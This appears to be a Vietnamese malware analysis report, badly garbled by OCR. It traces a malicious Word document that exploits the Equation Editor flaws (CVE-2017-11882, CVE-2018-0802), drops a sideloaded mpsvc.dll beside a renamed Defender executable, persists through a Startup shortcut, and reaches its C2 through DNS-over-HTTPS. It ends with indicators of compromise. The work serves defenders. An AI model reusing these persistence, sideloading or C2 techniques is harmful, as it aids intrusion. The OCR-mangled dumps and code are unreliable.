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Dwa vao dau hiéu Equation cé thé khang dinh tai liéu nay khai thac 16 héng clia cla
Microsoft Office Equation Editor (CVE-2017-11882, CVE-2018-0802). Ngoai ra, nhw trong
hinh cé thé thay tai liéu nay nhang thém mot OLE Stream 0 (wd32PrvSE.wmf) c6 kich
thwdc 208 KB (212992 bytes). Tiép tuc st dung rtfobj dé trich xuat object nay:

13el0b5_wd32PrvsE.wmf

So sanh ndi dung cua file vira extract & trén v&i ndi dung cla cac file 8.t va e.m ma chung
t6i da phan tich trwdc day thi cé thé thay ki thuat thwe hién twong tw nhau.

wd32PrvSE.wmf:

5 wd32PrvSE.wmf

offset(h) 00 Ol 02 03 04 05 06 07 08 0% OR OB OC 0D OE OF Decoded text

00000000 L€ 6D FF FF FC FC FC F8 FC FC FC 03 03 FC FC [{|imyyutdesudd. .ad
00000010 44 FC FC FC FC FC FC FC BC FC FC FC FC FC FC FC DuUtt#Gdfiddadad
00000020 FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC FC GOGGGGUGGGGGGEGEE
00000030 FC FC FC FC FC FC FC FC FC FC FC FC 24 FC FC FC UUUUUGUGUGGESUGE
00000040 F2 E3 46 F2 FC 48 F5 31 DD 44 FD B0 31 DD A8 94 oOFFOUHALYDY 1Y~
00000050 95 8F DC 2C 8E 9 SE 9D 91 DC 9F 9D 92 92 93 . GEi~»Z. gy.rr
00000060 88 DC SE 5% DC SE 89 92 DC S5 92 DC B8 B3 AF DC ~Uz™0iw g-r0.°7 0
00000070 91 $3 98 99 D2 F1 F1 Fé D8 FC FC FC FC FC FC FC *~™Offi6@uidtutd
00000080 EE 03 63 C4 AA 62 OD 97 AA 62 0D 97 AR €2 OD 97 i.ch*b.—*b.—"b.—
00000090 2% TE 03 97 A4 62 OD 97 9C 44 06 97 AB 62 OD 97 )~.—Hb.—D.—«b.—
000000RO0 SC 44 07 97 92 €2 OD 97 AA 62 OD 97 A% &2 OD 97 oD.—'b.—*b.—€b.—
000000BO C8 7D 1E 97 A3 €2 OD 97 AA 62 OC 97 96 €2 OD 97 E}.—£b.—*b.—b.—
000000CO 42 7D 06 97 AS €2 OD 97 AE 95 OF 94 AA €2 OD 97 B}.—b.—@®*¥"*b.—
000000D0 FC FC FC FC FC FC FC FC AC BS FC FC BO FD FF FC GOGGGG#E-*GE°yVa
000000E0 ES $7 45 Rl FC FC FC FC FC FC FC FC 1C FC F3 FD &—E;GGUGUGHE.HSY
000000F0 F7 FD FA FC FC 9C FC FC FC 1C FE FC FC FC FC FC =<yautieddd.putddd
00000100 B3 E4 FC FC FC EC FC FC FC 8C FC FC FC FC BC FC *3u0810G0CAEGEWE
00000110 FC EC FC FC FC EC FC FC F8 FC FC FC FC FC FC FC diGG0#1U0sG08GGGE
00000120 F8 FC FC FC FC FC FC FC FC AC FF FC FC EC FC FC ouGGGHGH-§EG1GE

8.t
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e.m:

- E.m
00 01 02 03 04 05 06 07 08 09 OA 0B OC 0D OE OF Decoded texc
BZ EE FC FF FB FF 00 FF Bin =
47 FF FF FF FF BF FF FF FF 5 1
FF FF FF FF FF FF FF FF FF
FF FF FF EF FF EF EF FF 1F FF v
F1 EO 45 FF 45 Fé DE FE 32 A3 taf: K-2 a2
el DF 8D 98 ED SE F SE 91 il i Rl R E
8B DF 8D DF =HY OF 81 DF BB AC Myl ol
92 9B D1 F2 DE FF FF FF FF EEcUp2z |}

Phan tich hanh vi

Tai liéu khi mé& bang trinh doc Microsoft Word sé thwc hién tao céc files tai thw muc
%Temp% va tao shortcut trong thw muc Startup ctia Windows
(%AppData%\Microsoft\Windows\Start Menu\Programs\Startup) dé kh&i chay ma déc khi
ngwoi dung kh&i dong lai may:
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Ci\Users\ADMINI-1\AppData\Local\ Temp

~ || Mame Date modified Type Size
| CVRALB1.tmp.cvr 1271272019 112 ... CVR File 0 KB
% mpsve.dll 1 1014 ... nphcation extens, i1 KB
s [ RuntimeBroke. exe 1201272019 10:12 Applicatior 22 KB
t= | StructuredCluery.tmp 1241204009 10:1 2, ... IWP.File KE
-'ff_'| wd32PrvSEwmf 121272019 10:12 ... WMF File 208 KB
Ingne view
CAUsers\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu' Programs\Startup
= [] Mame Date modified Type SIZE
s
desktop.ini 82019 11:13 PM Configuration set
23] RuntimeBroke 119 10 Shart o
5
L=

Phan tich ma thwec thi

Stage 1: Dump decoded PE payload

Céch thiét 1ap dé thwe hién debug da dwoc dé cap & nhiéu bai viét. Khi mé tai liéu bang &ng
dung Microsoft Word, tién trinh EQNEDT32.exe sé& duoc khdi chay, théng qua 16i ctia (rng
dung nay dé tao file wd32PrvSE.wmf trong thu muc %Temp%. D&t bp tai ham
CreateFileA/W ta sé thay tién trinh doc file wmf:

Tiép theo sé& goi ham ReadFile dé doc ndi dung ctia wd32PrvSE.wmf vao vung nhé da
dwoc cap phat:
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https://1.bp.blogspot.com/-iS-qvYELIEw/XftAwF3f2_I/AAAAAAAAASg/8Yb-xFc5izE3JhWqmTjxoMse6ep9swmrwCNcBGAsYHQ/s1600/file_handle_1.png
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Twong tw nhw cac sample da tirng phan tich, stv dung vong lap xor dé thwe hién gidi ma
toan bd ndi dung cua file wd32PrvSE.wmf trong memory tai dia chi 0OXx1EE0000 (trén may
phén tich)
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Thuc hién dump PE mé&i nay va lwu lai dé thwc hién phan tich tiép. File dump dwoc 1a mot
PE32 exe:

Hame: Of Feet Size Value Description
0o al4c ntel 386
Wi}
QO00E 4 S IBESER ] Wed \ 10:5]:01] 5 oM
OO00ES 4 (aLelnfuRulufe]n]
HumberOfSyel 5 O0O0ESR 4 Qoo0o0on
5 f0mt i eader 2 Q0E
racteristics 2 010F Click hepe
Stage2: Phan tich PE32 da dump
[Eferrocess] | TevndaiTs | [Eensicom] [Cresvedindeten ¥ Fogistertisssh| [Translatedsesace|
. k i " i " u
wws;-:i-lrplmrru-.m| | llaca :-<:|| Fopan| '."-|||.."=| lbdll.ibﬂrfll |u-|.-rn=mrn|_ |N-1.u.i1.um|u-| |D-r|in=hrrn=l.]

- I * i o FI—
__ a0 ] I [smimd] [Cofresselesioree] [EIniiisiice] [EiiEpeTovtoaear] [furiv] fsems]| [irebd]e [
- — _ _
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https://1.bp.blogspot.com/-FiGsKFTw_uQ/XfsUx-1KIzI/AAAAAAAAASU/bsp-Zzh0_6sYL5Sgsx3mvBNkFmn8mj84wCNcBGAsYHQ/s1600/WinMain_1.png

T WinMain sé goi t&i ham DropFilesAndCreateLnk (sub_00401200). Ham nay thwc hién

cau thanh dwdng dan day da cho cac files mpsve.dil; RuntimeBroke.exe:
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12/1242019 10:

Y mpsvedll 272019 10:49 ... Application extens...

B=| RuntimeBroke.exe 12/2079 10:49 Application

RuntimeBroke.exe chinh la MsMpEng.exe cua Windows Defender:

141 KB
22 KB
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8" RuntimeBroke.exe Properties

(zeneral Compatibility Diigital Signat
Security Details Previous Versi
Property Value
Description

File descrption  Antimalware Service Executable
Type Application

File wersion 452180

Product name  Microsoft Malware Protection
Product version 4.50218.0

Copyright = Microsoft Corporation. Al ights reser...

Size 21.7KB

Date modified 1271220019 10:45 PM

Language English {United States)

Original filename MsMpEng.exe

B RuntimeBroke.exe Properties 4

Security Detail= Previous Versions
General Compatibiiity Digital Signatures

Signature kst
MName of signer: Digest algorthm Timestamp
Microsoft Corporation shal Monday, March 24, 2014
Microsoft Comporation  sha2bé Monday, March 24, 2014
€ >

Tiép theo tao file StructuredQuery.tmp:
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L
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StructuredQuerny.tm 12/12/2019 10:49 ... THAP File 0 KB
| ry.tmp

Ap dung ki thuat persistence théng qua startup folders bang cach tao file RuntimeBroke.Ink
tai (%AppData%\Microsoft\Windows\Start Menu\Programs\Startup):

returnm 8;

CoInitialize(a);
1f { CoCreateInstance(&

return @;

ink=>1p¥tbl=->QueryInterface{ps

r = 2l
sistFi »LpWitbl=>
ink-=1p¥tbl->Rele

-=1pW¥tbl->Release{ps

}
sUlt = &

]

return result;

Ta co file shorcut la RuntimeBroke vé&i target tré t¢i RuntimeBroke.exe ¢ thw muc
%Temp% nhuw sau:
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Administrator » Applata » Roaming » Microsoft » Windows » Stat Menu » Programs » Startup

# [ Mame Diate rrgdified Type
dg;.'l::opl-" LIRS 11:13 P ..;l"r:;|_'.|'|';'|-1-l'
LA Runtirmes 13643
N Runtrmefirobes Propenss X
Spounty Detaia Prrvious vorkiom
General Shodout Compatibliy
5 = Rurstme Broke
F]

Target bype:  Appheabon
Target locataon: Terg

Statin

Nhuw vay, khi ngwdi dung kh&i dong lai may thi tién trinh RuntimeBroke.exe sé khdi chay.
Théng qua ki thuat DLL SidelLoading, RuntimeBroke.exe sé nap file mpsvc.dll chira méa

doc dé thuc thi:

4] mpsve.di o @

| a] RuntimeBroke.sxe

It

2Kl

< RuntimebBroke axe

FFile: RurtimeBroke exe
- [E Dos Header
[E M Headers
Zl File Header
& Dptional Header
12l Data Directones [x]

#l Combicn omdoen Ful

|_] StructuredQueny.trmp

Stage 3: Phan tich file mpsvc.dll:

Module Name Impaorts OFTs
szAnsi [nFunctions) Dword
KERMEL22.dlII 6 00003060
mipsve.dil 1 0000307

File nay exports cac ham sau:
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https://1.bp.blogspot.com/-JMkwV-tqsb4/Xfh2xSbXuxI/AAAAAAAAAQA/u_qppSxPh5gbZH8Dz1h4iPQhSKfNx0ebQCNcBGAsYHQ/s1600/slide_load.png

Mame Address Ordinal

=#| LogDeinits BATF3C10 1
=#| LogDeinit BATF3C30 2
=#| LogEnable BATF3C50 3
=#| LogGetLevel BATF3CTO 4
=#| Loglnit BATF3C90 5
=#| LoglsEnabled BATFICED B
=#| LogMonitorbettings BATF3ICDO 7
| LogRemoveModule 6ATFICFD 8
| LogSetDepth eATFID10 g
| LogSetlLevel eATF3D30 0
=#| LogSetMaxSize 6ATF3D50 1R
| LogSetMode BATFSDT0 12
=¥| LogSetPath BATFaDS0 13
| LogSetSettingshile BATFSDBO 14
| Log5etType eATFIDDO 13
=%| LogTrackEvent 6ATFIDFD 16
=%| LogTrackEventData 6ATFIETD 17
=#| LogUninitMetrics BATF3E3D 18
| LogWrite BATFIESD 19
| LogWrited BATFIETD 20
@ ServiceCrtMain BATF3BED 21
=% DIEntryPoint BATFAECC [main entry]

Kiém tra thi thdy né chi goi t&i ServiceCrtMain. Tai ham, sé thwc hién mé file
StructuredQuery.tmp thong qua ham IsStructuredQueryTmpNotExisted:

char szS5tructuredQueryTmpPath[268]: ff |
char szTempPath[268]: [/ i

(szTempPath, @, MAX_PATH};
thA(MAX_PATH, szTempl |

nc4 " 4 "y
) StructuredQuery . tmp )3

return
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Théng qua moét vong 18p lién tuc dé thwe hién viéc truy xuét téi C2:

"

laa

cnnest_loop endp

Code bén trong sub_6A7F20A0 (offset 0x14A0) sé thwc hién nhiém vu ciu thanh cac chudi
sau trong memory:

gund.com);

LOWORD( 1pdns_query cmd)
sub_ BA7F2780( "dns-gquery"”,
LOBYTE(v35) = 1:

LDHGHDIP- zCloudflareDns _com) = 8;
sub_6A7F2780( "cloudflare-dns.com", 8x12);

Sau dé khai tao két ndi Internet voi User-Agent: HTTPS, m& HTTP session t&i cloudflare-
dns[.Jcom:443,c4u thanh target Object “dns-query?
name=pjfdknrvbz.mefound.com&type=A” phuc vu cho ham HttpOpenRequest nham
kh&i tao mot HTTP request vé&i phwong thire GET. Cudi cung glri request t&i HTTP Server
va goi ham InternetReadFile dé doc di liéu vao ving buffer da dwoc cap phat:

memset (klpBut_tecelve data, O, & :
sesEion_hamile = InternetOpenW (L*HTTPS®, 8, @, @, 8);

connect_handle = InternetConnectW(session_handle, _lpszServerMame, 443u, NULL, NULL, INTERMET_SERVICE_HTTF,

sub_6ATF3408 (klpszObiectName, v7T):
ObjectName = ElpszObjectName;

request_hamile = HttpOpenReguestW(connect_handle, L"GET", ObjectMame, L"HTTP/1.8", NULL, &lpszhcceptTypes,

HttpSendReguestW ( zeguest_handle, NULL, , RULIL 3
InternstReadFile (request_handle, ElpBuf_receive ﬂatﬂ BxlFFFu, SdwNumberQfBytesRead)

# Result  Protooo Host LRI Body Caching

1 200 HTTP Tunnel to - doudfiare-dns.com:443 0
e 5 200 HTTFS doudflare-dns.com  fdns-queryiname=pjfdknrvbz, mefound. comftype =A 59,745

GET https://cloudflare-dns. com/dns-guery?name=pjfdknrvbz . mefound. com&type=A HTTP/1.1
Accept: application/dns-json

User-Aagent: HTTPS

Host: cloudflare-dns.com
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https://1.bp.blogspot.com/-XyDTQcV3ir8/XftIUSqIkGI/AAAAAAAAAUE/iruMkKsq_NUKIvGIxs3lpgwfPGQ6cXbGgCEwYBhgL/s1600/string2.png
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Can clr thong tin trén hinh thi co6 thé thay ké tn cong dang thuc hién ki thuat DNS over
HTTPS (https //developers cloudﬂare com/1 1 1 1/dns -over- https/)

eport-uri="https: /freport-uri. cloudflare. com/cdn-cgi /beacon/expect-ct™

alse, "Question”: [{"name™;: ° |1'|F'Il-|1 vhz, mefound. .
" 30, "data™: B5.244.150. 8471 147t

Dowec ket noi t&i C2 khong thanh cong nén qua trinh phan tich tam th&i ding lai tai day.
Chung t6i sé tiép tuc phan tich chi tiét malware mpsve.dil va cap nhat thém khi cé cac théng
tin cu thé.

Indicators of compromise (IOCs)

Dropped files:Location: % Temp% folder

1. RuntimeBroke.exe—21.7 KB (22,224 bytes)

(Original filename: MsMpEng.exe)

SHA-256: 33bc14d231a4afaa18f06513766d5f69d8b88f1e697cd127d24fb4b72ad44c7a

2. mpsvc.dil—141 KB (144,384 bytes)
SHA-256: 87f0ba25135f7a42a7219b8a7aa1013755f03ad11b6a897a9066e3089b438432

3. StructuredQuery.tmp—0 bytes

Persistence:Startup folder: %AppData% \Microsoft\Windows\Start Menu\Programs\Startup
File: RuntimeBroke (shortcut); Target: % Temp%\RuntimeBroke.exe

Network:

GET https://cloudflare-dns[.Jcom/dns-query?name=pjfdknrvbz[.Jmefound[.Jcom&type=A
HTTP/1.1

Accept: application/dns-json

User-Agent: HTTPS

Host: cloudflare-dns.com

Name: pjfdknrvbz[.Jmefound[.Jcom
Address: 185.244.150.84

Pé tién theo dbi, chiing téi cung cap bai phan tich dwéi dang PDF:
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https://developers.cloudflare.com/1.1.1.1/dns-over-https/
https://1.bp.blogspot.com/-gqCXLeHJr0E/XftJHvMW1nI/AAAAAAAAAUY/0khiNtRT2DAxcAN8sBAvWgfeTBF0PU9SgCNcBGAsYHQ/s1600/curl.png

File Name: CSS-RD-ADV-191218-009_Phan tich ma doc
Ke.hoach.Nhiem.Vu.Trong.Tam.2020.pdf

File hash (SHA-
256): e09d4d203acfa90a6efe71dcd3fb54cf656d66180827e0ea7ac11a4b888d7aa7

Tran Trung Kien (aka m4n0w4r)
R&D Center - VinCSS (a member of Vingroup)
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